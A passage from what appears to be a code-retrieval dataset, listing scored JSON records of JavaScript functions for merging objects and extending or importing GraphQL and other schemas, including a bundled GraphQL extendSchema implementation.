if (!equalType(schema[key], type)) {\n schema[key] = 'Mixed';\n }\n }\n }\n}", "title": "" }, { "docid": "f079c6cabd0445f1773664cdb3690ef8", "score": "0.53333455", "text": "function mergeUpdates(a, b) {\n\tif(typeof a === \"object\" && typeof b === \"object\") {\n\t\tvar res = {};\n\t\tObject.keys(a).concat(Object.keys(b)).forEach(function(key) {\n\t\t\tif(a[key] && b[key]) {\n\t\t\t\tswitch(key) {\n\t\t\t\t\tcase \"$push\":\n\t\t\t\t\t\tres[key] = a[key].concat(b[key]);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"$unshift\":\n\t\t\t\t\t\tres[key] = b[key].concat(a[key]);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"$splice\":\n\t\t\t\t\t\tres[key] = a[key].concat(b[key]);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"$set\":\n\t\t\t\t\t\tres[key] = b[key];\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"$merge\":\n\t\t\t\t\t\tvar o = res[key] = {};\n\t\t\t\t\t\tObject.keys(a[key]).forEach(function(x) {\n\t\t\t\t\t\t\to[x] = a[key][x]\n\t\t\t\t\t\t});\n\t\t\t\t\t\tObject.keys(b[key]).forEach(function(x) {\n\t\t\t\t\t\t\to[x] = b[key][x]\n\t\t\t\t\t\t});\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tres[key] = mergeUpdates(a[key], b[key]);\n\t\t\t} else if(a[key])\n\t\t\t\tres[key] = a[key];\n\t\t\telse\n\t\t\t\tres[key] = b[key];\n\t\t});\n\t}\n\treturn a || b;\n}", "title": "" }, { "docid": "1d15bba7ab7a3da16d4136e7bf4b5016", "score": "0.5298907", "text": "function mergeSchemas(functionType, lhsSchema, rhsSchema, passign) {\n // handle parameter name conflicts by having the second primitive win\n const newArgNames = new Set;\n const newArgs = [];\n for (let arg of rhsSchema.iterateArguments()) {\n if (arg.name === passign)\n continue;\n newArgNames.add(arg.name);\n newArgs.push(arg);\n }\n for (let arg of lhsSchema.iterateArguments()) {\n if (newArgNames.has(arg.name))\n continue;\n /*if (!lhsSchema.isArgInput(arg.name))\n continue;*/\n newArgNames.add(arg.name);\n newArgs.push(arg);\n }\n\n return new Ast.ExpressionSignature(null, functionType, null /* class */, [] /* extends */, newArgs, {\n is_list: lhsSchema.is_list || rhsSchema.is_list,\n is_monitorable: lhsSchema.is_monitorable && rhsSchema.is_monitorable,\n require_filter: lhsSchema.require_filter || rhsSchema.require_filter,\n default_projection: [...new Set(lhsSchema.default_projection.concat(rhsSchema.default_projection))],\n minimal_projection: [...new Set(lhsSchema.minimal_projection.concat(rhsSchema.minimal_projection))],\n no_filter: lhsSchema.no_filter && rhsSchema.no_filter\n });\n}", "title": "" }, { "docid": "07f528d7d0a9c0c163c76fb19daf2084", "score": "0.52729154", "text": "function merge(dst, src) {\n const keys = Object.keys(src);\n for (let i = 0; i < keys.length; ++i) {\n const key = keys[i];\n if (typeOf(dst[key]) === 'object' && typeOf(src[key]) === 'object') {\n Vue.set(dst, key, merge(dst[key], src[key]));\n } else {\n Vue.set(dst, key, src[key]);\n }\n }\n return dst;\n}", "title": "" }, { "docid": "925568208a83905a8f0523071c609df1", "score": "0.524971", "text": "function combineAllOf(schema) {\n if (!isObject(schema) || !isArray(schema.allOf)) {\n return schema;\n }\n var mergedSchema = mergeSchemas.apply(void 0, __spread(schema.allOf));\n if (Object.keys(schema).length > 1) {\n var extraKeys = __assign({}, schema);\n delete extraKeys.allOf;\n mergedSchema = mergeSchemas(mergedSchema, extraKeys);\n }\n return mergedSchema;\n}", "title": "" }, { "docid": "5a9495e9d4cbee09dad45e59f7f75d55", "score": "0.5189018", "text": "function mergeSchemaGroup(group, mergeSchemas, source) {\n var allKeys = allUniqueKeys(source || group)\n var extractor = source\n ? getItemSchemas\n : getValues\n return allKeys.reduce(function(all, key) {\n var schemas = extractor(group, key)\n var compacted = uniqWith(schemas.filter(notUndefined), compare)\n all[key] = mergeSchemas(compacted, key)\n return all\n }, source\n ? []\n : {})\n}", "title": "" }, { "docid": "7673d605d209bdc195b29a8ec448116b", "score": "0.51573783", "text": "function importSchema(schema, schemas) {\n var sdl = read(schema, schemas) || schema;\n var document = getDocumentFromSDL(sdl);\n // Recursively process the imports, starting by importing all types from the initial schema\n var _a = collectDefinitions(['*'], sdl, schema, schemas), allDefinitions = _a.allDefinitions, typeDefinitions = _a.typeDefinitions;\n // Post processing of the final schema (missing types, unused types, etc.)\n // Query, Mutation and Subscription should be merged\n // And should always be in the first set, to make sure they\n // are not filtered out.\n var firstTypes = lodash_1.flatten(typeDefinitions).filter(function (d) {\n return lodash_1.includes(rootFields, d.name.value);\n });\n var otherFirstTypes = typeDefinitions[0].filter(function (d) { return !lodash_1.includes(rootFields, d.name.value); });\n var firstSet = firstTypes.concat(otherFirstTypes);\n var processedTypeNames = [];\n var mergedFirstTypes = [];\n var _loop_1 = function (type) {\n if (!lodash_1.includes(processedTypeNames, type.name.value)) {\n processedTypeNames.push(type.name.value);\n mergedFirstTypes.push(type);\n }\n else {\n var existingType = mergedFirstTypes.find(function (t) { return t.name.value === type.name.value; });\n existingType.fields = existingType.fields.concat(type.fields);\n }\n };\n for (var _i = 0, firstSet_1 = firstSet; _i < firstSet_1.length; _i++) {\n var type = firstSet_1[_i];\n _loop_1(type);\n }\n document = __assign({}, document, { definitions: definition_1.completeDefinitionPool(lodash_1.flatten(allDefinitions), firstSet, lodash_1.flatten(typeDefinitions)) });\n // Return the schema as string\n return graphql_1.print(document);\n}", "title": "" }, { "docid": "a3ee4c7f911f0084af2dd5422524d39c", "score": "0.5084623", "text": "function extendSchema(schema, documentAST, options) {\n !Object(__WEBPACK_IMPORTED_MODULE_7__type_schema__[\"b\" /* isSchema */])(schema) ? Object(__WEBPACK_IMPORTED_MODULE_0__jsutils_invariant__[\"a\" /* default */])(0, 'Must provide valid GraphQLSchema') : void 0;\n !(documentAST && documentAST.kind === __WEBPACK_IMPORTED_MODULE_12__language_kinds__[\"a\" /* Kind */].DOCUMENT) ? Object(__WEBPACK_IMPORTED_MODULE_0__jsutils_invariant__[\"a\" /* default */])(0, 'Must provide valid Document AST') : void 0;\n\n if (!options || !(options.assumeValid || options.assumeValidSDL)) {\n Object(__WEBPACK_IMPORTED_MODULE_5__validation_validate__[\"b\" /* assertValidSDLExtension */])(documentAST, schema);\n } // Collect the type definitions and extensions found in the document.\n\n\n var typeDefinitionMap = Object.create(null);\n var typeExtensionsMap = Object.create(null); // New directives and types are separate because a directives and types can\n // have the same name. For example, a type named \"skip\".\n\n var directiveDefinitions = [];\n var schemaDef; // Schema extensions are collected which may add additional operation types.\n\n var schemaExtensions = [];\n\n for (var i = 0; i < documentAST.definitions.length; i++) {\n var def = documentAST.definitions[i];\n\n if (def.kind === __WEBPACK_IMPORTED_MODULE_12__language_kinds__[\"a\" /* Kind */].SCHEMA_DEFINITION) {\n schemaDef = def;\n } else if (def.kind === __WEBPACK_IMPORTED_MODULE_12__language_kinds__[\"a\" /* Kind */].SCHEMA_EXTENSION) {\n schemaExtensions.push(def);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_13__language_predicates__[\"b\" /* isTypeDefinitionNode */])(def)) {\n // Sanity check that none of the defined types conflict with the\n // schema's existing types.\n var typeName = def.name.value;\n\n if (schema.getType(typeName)) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Type \\\"\".concat(typeName, \"\\\" already exists in the schema. It cannot also \") + 'be defined in this type definition.', [def]);\n }\n\n typeDefinitionMap[typeName] = def;\n } else if (Object(__WEBPACK_IMPORTED_MODULE_13__language_predicates__[\"c\" /* isTypeExtensionNode */])(def)) {\n // Sanity check that this type extension exists within the\n // schema's existing types.\n var extendedTypeName = def.name.value;\n var existingType = schema.getType(extendedTypeName);\n\n if (!existingType) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Cannot extend type \\\"\".concat(extendedTypeName, \"\\\" because it does not \") + 'exist in the existing schema.', [def]);\n }\n\n checkExtensionNode(existingType, def);\n var existingTypeExtensions = typeExtensionsMap[extendedTypeName];\n typeExtensionsMap[extendedTypeName] = existingTypeExtensions ? existingTypeExtensions.concat([def]) : [def];\n } else if (def.kind === __WEBPACK_IMPORTED_MODULE_12__language_kinds__[\"a\" /* Kind */].DIRECTIVE_DEFINITION) {\n var directiveName = def.name.value;\n var existingDirective = schema.getDirective(directiveName);\n\n if (existingDirective) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Directive \\\"\".concat(directiveName, \"\\\" already exists in the schema. It \") + 'cannot be redefined.', [def]);\n }\n\n directiveDefinitions.push(def);\n }\n } // If this document contains no new types, extensions, or directives then\n // return the same unmodified GraphQLSchema instance.\n\n\n if (Object.keys(typeExtensionsMap).length === 0 && Object.keys(typeDefinitionMap).length === 0 && directiveDefinitions.length === 0 && schemaExtensions.length === 0 && !schemaDef) {\n return schema;\n }\n\n var astBuilder = new __WEBPACK_IMPORTED_MODULE_4__buildASTSchema__[\"a\" /* ASTDefinitionBuilder */](typeDefinitionMap, options, function (typeRef) {\n var typeName = typeRef.name.value;\n var existingType = schema.getType(typeName);\n\n if (existingType) {\n return extendNamedType(existingType);\n }\n\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Unknown type: \\\"\".concat(typeName, \"\\\". Ensure that this type exists \") + 'either in the original schema, or is added in a type definition.', [typeRef]);\n });\n var extendTypeCache = Object.create(null); // Get the extended root operation types.\n\n var operationTypes = {\n query: extendMaybeNamedType(schema.getQueryType()),\n mutation: extendMaybeNamedType(schema.getMutationType()),\n subscription: extendMaybeNamedType(schema.getSubscriptionType())\n };\n\n if (schemaDef) {\n var _iteratorNormalCompletion = true;\n var _didIteratorError = false;\n var _iteratorError = undefined;\n\n try {\n for (var _iterator = schemaDef.operationTypes[Symbol.iterator](), _step; !(_iteratorNormalCompletion = (_step = _iterator.next()).done); _iteratorNormalCompletion = true) {\n var _ref2 = _step.value;\n var operation = _ref2.operation,\n type = _ref2.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError = true;\n _iteratorError = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion && _iterator.return != null) {\n _iterator.return();\n }\n } finally {\n if (_didIteratorError) {\n throw _iteratorError;\n }\n }\n }\n } // Then, incorporate schema definition and all schema extensions.\n\n\n for (var _i = 0; _i < schemaExtensions.length; _i++) {\n var schemaExtension = schemaExtensions[_i];\n\n if (schemaExtension.operationTypes) {\n var _iteratorNormalCompletion12 = true;\n var _didIteratorError12 = false;\n var _iteratorError12 = undefined;\n\n try {\n for (var _iterator12 = schemaExtension.operationTypes[Symbol.iterator](), _step12; !(_iteratorNormalCompletion12 = (_step12 = _iterator12.next()).done); _iteratorNormalCompletion12 = true) {\n var _ref4 = _step12.value;\n var operation = _ref4.operation,\n type = _ref4.type;\n\n if (operationTypes[operation]) {\n throw new Error(\"Must provide only one \".concat(operation, \" type in schema.\"));\n } // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n\n\n operationTypes[operation] = astBuilder.buildType(type);\n }\n } catch (err) {\n _didIteratorError12 = true;\n _iteratorError12 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion12 && _iterator12.return != null) {\n _iterator12.return();\n }\n } finally {\n if (_didIteratorError12) {\n throw _iteratorError12;\n }\n }\n }\n }\n }\n\n var schemaExtensionASTNodes = schemaExtensions ? schema.extensionASTNodes ? schema.extensionASTNodes.concat(schemaExtensions) : schemaExtensions : schema.extensionASTNodes;\n var types = Object(__WEBPACK_IMPORTED_MODULE_3__jsutils_objectValues__[\"a\" /* default */])(schema.getTypeMap()).map(function (type) {\n return extendNamedType(type);\n }).concat(Object(__WEBPACK_IMPORTED_MODULE_3__jsutils_objectValues__[\"a\" /* default */])(typeDefinitionMap).map(function (type) {\n return astBuilder.buildType(type);\n })); // Support both original legacy names and extended legacy names.\n\n var allowedLegacyNames = schema.__allowedLegacyNames.concat(options && options.allowedLegacyNames || []); // Then produce and return a Schema with these types.\n\n\n return new __WEBPACK_IMPORTED_MODULE_7__type_schema__[\"a\" /* GraphQLSchema */](_objectSpread({}, operationTypes, {\n types: types,\n directives: getMergedDirectives(),\n astNode: schema.astNode,\n extensionASTNodes: schemaExtensionASTNodes,\n allowedLegacyNames: allowedLegacyNames\n })); // Below are functions used for producing this schema that have closed over\n // this scope and have access to the schema, cache, and newly defined types.\n\n function getMergedDirectives() {\n var existingDirectives = schema.getDirectives().map(extendDirective);\n !existingDirectives ? Object(__WEBPACK_IMPORTED_MODULE_0__jsutils_invariant__[\"a\" /* default */])(0, 'schema must have default directives') : void 0;\n return existingDirectives.concat(directiveDefinitions.map(function (node) {\n return astBuilder.buildDirective(node);\n }));\n }\n\n function extendMaybeNamedType(type) {\n return type ? extendNamedType(type) : null;\n }\n\n function extendNamedType(type) {\n if (Object(__WEBPACK_IMPORTED_MODULE_8__type_introspection__[\"g\" /* isIntrospectionType */])(type) || Object(__WEBPACK_IMPORTED_MODULE_9__type_scalars__[\"d\" /* isSpecifiedScalarType */])(type)) {\n // Builtin types are not extended.\n return type;\n }\n\n var name = type.name;\n\n if (!extendTypeCache[name]) {\n if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"B\" /* isScalarType */])(type)) {\n extendTypeCache[name] = extendScalarType(type);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"x\" /* isObjectType */])(type)) {\n extendTypeCache[name] = extendObjectType(type);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"s\" /* isInterfaceType */])(type)) {\n extendTypeCache[name] = extendInterfaceType(type);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"D\" /* isUnionType */])(type)) {\n extendTypeCache[name] = extendUnionType(type);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"p\" /* isEnumType */])(type)) {\n extendTypeCache[name] = extendEnumType(type);\n } else if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"q\" /* isInputObjectType */])(type)) {\n extendTypeCache[name] = extendInputObjectType(type);\n }\n }\n\n return extendTypeCache[name];\n }\n\n function extendDirective(directive) {\n return new __WEBPACK_IMPORTED_MODULE_11__type_directives__[\"c\" /* GraphQLDirective */]({\n name: directive.name,\n description: directive.description,\n locations: directive.locations,\n args: extendArgs(directive.args),\n astNode: directive.astNode\n });\n }\n\n function extendInputObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"b\" /* GraphQLInputObjectType */]({\n name: name,\n description: type.description,\n fields: function fields() {\n return extendInputFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendInputFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr = Object.keys(oldFieldMap);\n\n for (var _i2 = 0; _i2 < _arr.length; _i2++) {\n var _fieldName = _arr[_i2];\n var _field = oldFieldMap[_fieldName];\n newFieldMap[_fieldName] = {\n description: _field.description,\n type: extendType(_field.type),\n defaultValue: _field.defaultValue,\n astNode: _field.astNode\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion2 = true;\n var _didIteratorError2 = false;\n var _iteratorError2 = undefined;\n\n try {\n for (var _iterator2 = extensions[Symbol.iterator](), _step2; !(_iteratorNormalCompletion2 = (_step2 = _iterator2.next()).done); _iteratorNormalCompletion2 = true) {\n var extension = _step2.value;\n var _iteratorNormalCompletion3 = true;\n var _didIteratorError3 = false;\n var _iteratorError3 = undefined;\n\n try {\n for (var _iterator3 = extension.fields[Symbol.iterator](), _step3; !(_iteratorNormalCompletion3 = (_step3 = _iterator3.next()).done); _iteratorNormalCompletion3 = true) {\n var field = _step3.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n newFieldMap[fieldName] = astBuilder.buildInputField(field);\n }\n } catch (err) {\n _didIteratorError3 = true;\n _iteratorError3 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion3 && _iterator3.return != null) {\n _iterator3.return();\n }\n } finally {\n if (_didIteratorError3) {\n throw _iteratorError3;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError2 = true;\n _iteratorError2 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion2 && _iterator2.return != null) {\n _iterator2.return();\n }\n } finally {\n if (_didIteratorError2) {\n throw _iteratorError2;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendEnumType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"a\" /* GraphQLEnumType */]({\n name: name,\n description: type.description,\n values: extendValueMap(type),\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendValueMap(type) {\n var newValueMap = Object.create(null);\n var oldValueMap = Object(__WEBPACK_IMPORTED_MODULE_1__jsutils_keyMap__[\"a\" /* default */])(type.getValues(), function (value) {\n return value.name;\n });\n\n var _arr2 = Object.keys(oldValueMap);\n\n for (var _i3 = 0; _i3 < _arr2.length; _i3++) {\n var _valueName = _arr2[_i3];\n var _value = oldValueMap[_valueName];\n newValueMap[_valueName] = {\n name: _value.name,\n description: _value.description,\n value: _value.value,\n deprecationReason: _value.deprecationReason,\n astNode: _value.astNode\n };\n } // If there are any extensions to the values, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion4 = true;\n var _didIteratorError4 = false;\n var _iteratorError4 = undefined;\n\n try {\n for (var _iterator4 = extensions[Symbol.iterator](), _step4; !(_iteratorNormalCompletion4 = (_step4 = _iterator4.next()).done); _iteratorNormalCompletion4 = true) {\n var extension = _step4.value;\n var _iteratorNormalCompletion5 = true;\n var _didIteratorError5 = false;\n var _iteratorError5 = undefined;\n\n try {\n for (var _iterator5 = extension.values[Symbol.iterator](), _step5; !(_iteratorNormalCompletion5 = (_step5 = _iterator5.next()).done); _iteratorNormalCompletion5 = true) {\n var value = _step5.value;\n var valueName = value.name.value;\n\n if (oldValueMap[valueName]) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Enum value \\\"\".concat(type.name, \".\").concat(valueName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [value]);\n }\n\n newValueMap[valueName] = astBuilder.buildEnumValue(value);\n }\n } catch (err) {\n _didIteratorError5 = true;\n _iteratorError5 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion5 && _iterator5.return != null) {\n _iterator5.return();\n }\n } finally {\n if (_didIteratorError5) {\n throw _iteratorError5;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError4 = true;\n _iteratorError4 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion4 && _iterator4.return != null) {\n _iterator4.return();\n }\n } finally {\n if (_didIteratorError4) {\n throw _iteratorError4;\n }\n }\n }\n }\n\n return newValueMap;\n }\n\n function extendScalarType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"g\" /* GraphQLScalarType */]({\n name: name,\n description: type.description,\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n serialize: type.serialize,\n parseValue: type.parseValue,\n parseLiteral: type.parseLiteral\n });\n }\n\n function extendObjectType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"f\" /* GraphQLObjectType */]({\n name: name,\n description: type.description,\n interfaces: function interfaces() {\n return extendImplementedInterfaces(type);\n },\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n isTypeOf: type.isTypeOf\n });\n }\n\n function extendArgs(args) {\n return Object(__WEBPACK_IMPORTED_MODULE_2__jsutils_keyValMap__[\"a\" /* default */])(args, function (arg) {\n return arg.name;\n }, function (arg) {\n return {\n type: extendType(arg.type),\n defaultValue: arg.defaultValue,\n description: arg.description,\n astNode: arg.astNode\n };\n });\n }\n\n function extendInterfaceType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"c\" /* GraphQLInterfaceType */]({\n name: type.name,\n description: type.description,\n fields: function fields() {\n return extendFieldMap(type);\n },\n astNode: type.astNode,\n extensionASTNodes: extensionASTNodes,\n resolveType: type.resolveType\n });\n }\n\n function extendUnionType(type) {\n var name = type.name;\n var extensionASTNodes = typeExtensionsMap[name] ? type.extensionASTNodes ? type.extensionASTNodes.concat(typeExtensionsMap[name]) : typeExtensionsMap[name] : type.extensionASTNodes;\n return new __WEBPACK_IMPORTED_MODULE_10__type_definition__[\"h\" /* GraphQLUnionType */]({\n name: name,\n description: type.description,\n types: function types() {\n return extendPossibleTypes(type);\n },\n astNode: type.astNode,\n resolveType: type.resolveType,\n extensionASTNodes: extensionASTNodes\n });\n }\n\n function extendPossibleTypes(type) {\n var possibleTypes = type.getTypes().map(extendNamedType); // If there are any extensions to the union, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion6 = true;\n var _didIteratorError6 = false;\n var _iteratorError6 = undefined;\n\n try {\n for (var _iterator6 = extensions[Symbol.iterator](), _step6; !(_iteratorNormalCompletion6 = (_step6 = _iterator6.next()).done); _iteratorNormalCompletion6 = true) {\n var extension = _step6.value;\n var _iteratorNormalCompletion7 = true;\n var _didIteratorError7 = false;\n var _iteratorError7 = undefined;\n\n try {\n for (var _iterator7 = extension.types[Symbol.iterator](), _step7; !(_iteratorNormalCompletion7 = (_step7 = _iterator7.next()).done); _iteratorNormalCompletion7 = true) {\n var namedType = _step7.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n possibleTypes.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError7 = true;\n _iteratorError7 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion7 && _iterator7.return != null) {\n _iterator7.return();\n }\n } finally {\n if (_didIteratorError7) {\n throw _iteratorError7;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError6 = true;\n _iteratorError6 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion6 && _iterator6.return != null) {\n _iterator6.return();\n }\n } finally {\n if (_didIteratorError6) {\n throw _iteratorError6;\n }\n }\n }\n }\n\n return possibleTypes;\n }\n\n function extendImplementedInterfaces(type) {\n var interfaces = type.getInterfaces().map(extendNamedType); // If there are any extensions to the interfaces, apply those here.\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion8 = true;\n var _didIteratorError8 = false;\n var _iteratorError8 = undefined;\n\n try {\n for (var _iterator8 = extensions[Symbol.iterator](), _step8; !(_iteratorNormalCompletion8 = (_step8 = _iterator8.next()).done); _iteratorNormalCompletion8 = true) {\n var extension = _step8.value;\n var _iteratorNormalCompletion9 = true;\n var _didIteratorError9 = false;\n var _iteratorError9 = undefined;\n\n try {\n for (var _iterator9 = extension.interfaces[Symbol.iterator](), _step9; !(_iteratorNormalCompletion9 = (_step9 = _iterator9.next()).done); _iteratorNormalCompletion9 = true) {\n var namedType = _step9.value;\n // Note: While this could make early assertions to get the correctly\n // typed values, that would throw immediately while type system\n // validation with validateSchema() will produce more actionable results.\n interfaces.push(astBuilder.buildType(namedType));\n }\n } catch (err) {\n _didIteratorError9 = true;\n _iteratorError9 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion9 && _iterator9.return != null) {\n _iterator9.return();\n }\n } finally {\n if (_didIteratorError9) {\n throw _iteratorError9;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError8 = true;\n _iteratorError8 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion8 && _iterator8.return != null) {\n _iterator8.return();\n }\n } finally {\n if (_didIteratorError8) {\n throw _iteratorError8;\n }\n }\n }\n }\n\n return interfaces;\n }\n\n function extendFieldMap(type) {\n var newFieldMap = Object.create(null);\n var oldFieldMap = type.getFields();\n\n var _arr3 = Object.keys(oldFieldMap);\n\n for (var _i4 = 0; _i4 < _arr3.length; _i4++) {\n var _fieldName2 = _arr3[_i4];\n var _field2 = oldFieldMap[_fieldName2];\n newFieldMap[_fieldName2] = {\n description: _field2.description,\n deprecationReason: _field2.deprecationReason,\n type: extendType(_field2.type),\n args: extendArgs(_field2.args),\n astNode: _field2.astNode,\n resolve: _field2.resolve\n };\n } // If there are any extensions to the fields, apply those here.\n\n\n var extensions = typeExtensionsMap[type.name];\n\n if (extensions) {\n var _iteratorNormalCompletion10 = true;\n var _didIteratorError10 = false;\n var _iteratorError10 = undefined;\n\n try {\n for (var _iterator10 = extensions[Symbol.iterator](), _step10; !(_iteratorNormalCompletion10 = (_step10 = _iterator10.next()).done); _iteratorNormalCompletion10 = true) {\n var extension = _step10.value;\n var _iteratorNormalCompletion11 = true;\n var _didIteratorError11 = false;\n var _iteratorError11 = undefined;\n\n try {\n for (var _iterator11 = extension.fields[Symbol.iterator](), _step11; !(_iteratorNormalCompletion11 = (_step11 = _iterator11.next()).done); _iteratorNormalCompletion11 = true) {\n var field = _step11.value;\n var fieldName = field.name.value;\n\n if (oldFieldMap[fieldName]) {\n throw new __WEBPACK_IMPORTED_MODULE_6__error_GraphQLError__[\"a\" /* GraphQLError */](\"Field \\\"\".concat(type.name, \".\").concat(fieldName, \"\\\" already exists in the \") + 'schema. It cannot also be defined in this type extension.', [field]);\n }\n\n newFieldMap[fieldName] = astBuilder.buildField(field);\n }\n } catch (err) {\n _didIteratorError11 = true;\n _iteratorError11 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion11 && _iterator11.return != null) {\n _iterator11.return();\n }\n } finally {\n if (_didIteratorError11) {\n throw _iteratorError11;\n }\n }\n }\n }\n } catch (err) {\n _didIteratorError10 = true;\n _iteratorError10 = err;\n } finally {\n try {\n if (!_iteratorNormalCompletion10 && _iterator10.return != null) {\n _iterator10.return();\n }\n } finally {\n if (_didIteratorError10) {\n throw _iteratorError10;\n }\n }\n }\n }\n\n return newFieldMap;\n }\n\n function extendType(typeDef) {\n if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"u\" /* isListType */])(typeDef)) {\n return Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"d\" /* GraphQLList */])(extendType(typeDef.ofType));\n }\n\n if (Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"w\" /* isNonNullType */])(typeDef)) {\n return Object(__WEBPACK_IMPORTED_MODULE_10__type_definition__[\"e\" /* GraphQLNonNull */])(extendType(typeDef.ofType));\n }\n\n return extendNamedType(typeDef);\n }\n}", "title": "" }, { "docid": "4021e78a656826ee529398aed28869aa", "score": "0.50598526", "text": "updateSchema () {}", "title": "" }, { "docid": "50277082d639d9817296e67eb2001223", "score": "0.50280523", "text": "function _mergeConfig(config1, config2){ //must be called with App.DataTable context.\n\t\treturn this.$.extend(config1, config2);\n\t}", "title": "" }, { "docid": "e64fb62967dcbfb1ceac1aa56acfc35e", "score": "0.5015154", "text": "function merge(a, b) {\n if (a && b) {\n for (var key in b) {\n a[key] = b[key];\n }\n }\n return a;\n}", "title": "" }, { "docid": "9489c275aeb95e7ec22b71d827adc929", "score": "0.50115395", "text": "loadSharedSchemas () {\n this.loadSchemasFromDirectory(BASE_DIR)\n }", "title": "" }, { "docid": "0fa6d5e7ada3f04c07ea337532bf4630", "score": "0.500577", "text": "function updateFromV1ToV2(schema) {\r\n let updated = {\r\n schemaVersion: 2,\r\n themes: {}\r\n };\r\n\r\n for (let themeName in schema.themes) {\r\n let theme = schema.themes[themeName];\r\n\r\n updated.themes[themeName] = Object.assign({}, theme, {\r\n name: themeName\r\n });\r\n }\r\n\r\n return updated;\r\n}", "title": "" }, { "docid": "935949007f5b1309be7502c935482c70", "score": "0.49434566", "text": "merge(a, b) {\n for (var key in b) {\n if (!a.hasOwnProperty(key)) {\n a[key] = b[key]\n } else if (this.isObject(b[key],1) && 